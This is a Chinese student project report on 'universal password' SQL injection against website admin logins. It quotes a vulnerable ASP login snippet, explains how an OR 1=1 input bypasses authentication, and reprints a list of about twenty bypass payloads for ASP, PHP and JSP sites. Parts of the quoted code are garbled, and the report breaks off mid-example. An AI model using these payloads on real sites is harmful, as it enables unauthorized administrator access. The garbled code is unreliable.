“万能密码”SQL注入基本原理
目录
引言: (1)
项目研究原因: (2)
项目进展情况: (2)
结论: (7)
引言:
如今,互联网上的攻击、入侵事件频发,攻击手段越来越多样,攻击工具也泛滥成灾,这其中尤其以注入攻击最为常见。因为这种攻击方式技术门槛低,攻击工具多。注入攻击利用网站页面的用户提交数据功能,恶意编造具有攻击破坏性质的特殊数据字符串,提交给网站执行。如果网站源代码设计不健壮,对提交的数据没有做严格的防范过滤,就很容易被利用,黑客可以以此为突破口,攻入网站服务器。而本次项目所研究的“万能密码”就是注入的一种方式,他通过在管理登陆界面输入能欺骗网站的代码伪装成以认证的管理人员从而非法获取管理员权限从而非法修改网站。
项目研究原因:
后台登录的“万能密码”是一个学长发现了某网站的这个漏洞从而告知我们小组的,我们小组对此产生了极大的兴趣:为何看似严谨的登录界面会有能通过一段代码就能登录、而且还能获得最高权限。所以我们决定这次的百团百题项目以此为研究方向。
项目进展情况:
我们上网查了有关后台“万能密码”相关的资料发现一个严重的问题:这个技术已经相对落后,很多网站不能从网页源码中分析出注入漏洞的存在。所以我们就从网上了一些老的网站源码案例拿来研究:
我们从百度百科的“注入漏洞”的词条中到了相关存在漏洞的案例:下面用“蚂蚁影院3.0”版注销用户(wantlogin.asp)中的一段源码来做一下介绍:(下划线选取为引用案例内容)
<%
if request("userid1")<>""then
set ateobject("dset")
sql="select money,online from users where userid="&request("userid1")&" and password="&md5(request("pws"))&""
rst.open sql,conn,1,3
f and rst.bof then
response.write"<script>alert(用户名或密码错误!);history.back();</Script>"
else
response.write"<script>alert(恢复成功你现在可以登陆!);</Script>" response.write"<script Language=Javascript>location.href= index.asp;</script>"
rst.close
set rst=nothing
conn.close
set conn=nothing
end if
end if
%>
我们能够很明显的看到这段代码:
sql="select money,online from users where userid="&request("userid1")&" and password="&md5(request("pws"))&""
存在关键词:sql、并且在这个语句后面有逻辑运算符的话就代表了这个网站有被sql注入的可能。
很明显,这段源码中我们可以得知该界面有注入的可能,那到底该怎么实现呢?
从这段代码可看出,在网站中,一开始先判断userid1是否为空,如果不为空,则往下进行到:
进入SQL语句,开始验证帐号密码的匹配。我们按照证上的思维思考一下,如果我们没有这里的帐号密码,我们随便输一个,把帐号输成“zlq”,密码输成“123456”。
这时,网页提交的代码变成
select money,online from users where userid1=zlq and password=md5(123456)
如果是这样的话,网站肯定无法到对应的帐号密码,就会出现大家遇到的,密码错误、不到用户等情况。但是如果这样的话,把帐号改成:“zlq or1=1or 1=1”
此时提交代码变成:
select money,online from users where userid1=zlq or1=1or1=1and password=md5(123456),
因为“和”的运算级别比“或”高,所以先执行1=1and password=md5(123456),
得到值为0(假);
然后再执行1=1or0,得到的值为1(真);
接下来就进行
select money,online from users where userid1=zlq or1;
整个语句变成了1(真)。
因为逻辑表达式为真,所以就会弹出“恢复成功你现在可以登陆!”
但是这只是注入漏洞的一个基本原理,现在已经不太适用,很多网站不能直接从网站源码分析出注入漏洞的存在,这也就造成了入侵的困难和寻目标的困难。
我们研究的一个方向是“万能密码”与注入的关系。我们上网到了一系列的“万能密码”。
以下摘自豆瓣网络(下划线选取为引用案例内容)
后台登陆万能密码
2011-08-2015:31:15
asp aspx万能密码
1:"or"a"="a
2:')or('a'='a
3:or1=1--
4:'or1=1--
5:a'or'1=1--
6:"or1=1--
7:'or'a'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
11:1or'1'='1'=1
12:1or'1'='1'or1=1
13:'OR1=1%00
14:"or1=1%00
15:'xor
16:新型万能登陆密码
用户名'UNION Select1,1,1FROM admin Where''='(替换表名admin)密码1
Username=-1%cf'union select1,1,1as password,1,1,1%23
Password=1
17..admin'or'a'='a密码随便
PHP万能密码
'or'='or'
'or1=1/*字符型GPC是否开都可以使用
User:something
密码字符串是什么
Pass:'OR'1'='1
jsp万能密码
1'or'1'='1
admin'OR1=1/*
用户名:admin系统存在这个用户的时候才用得上
密码:1'or'1'='1
由此可见“万能密码”也不全是万能的,他也对应了不同的网页语言。所以我们通过“万能密码”进去网站后台的前提是知道他们的网站是用哪种网页语言设计的,从而“对症下药”。并且这个“万能”只是相对而言,具体的还要根据具体的网页代码书写的漏洞下手,只是“万能密码”的通用性比较强,很多网页都具有这种漏洞。
现在我们已经初步的了解什么是“万能密码”了,我们可以把他理解为,是一段能够提交到网页通过一定语句访问SQL的逻辑语句,让网页误认为访问请求为真,从而进入网站后台的方法。
但是了很久,也算是实验的一个坎,我们始终没有到可以从源文件分析出能够使用“万能密码”的网站,所以我们的研究方向转移成了研究已经作为实例的案例的学习和验证。
所以再拿一个案例来说明(下划线选取为引用案例内容):
---------------------------------------------------------------------

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。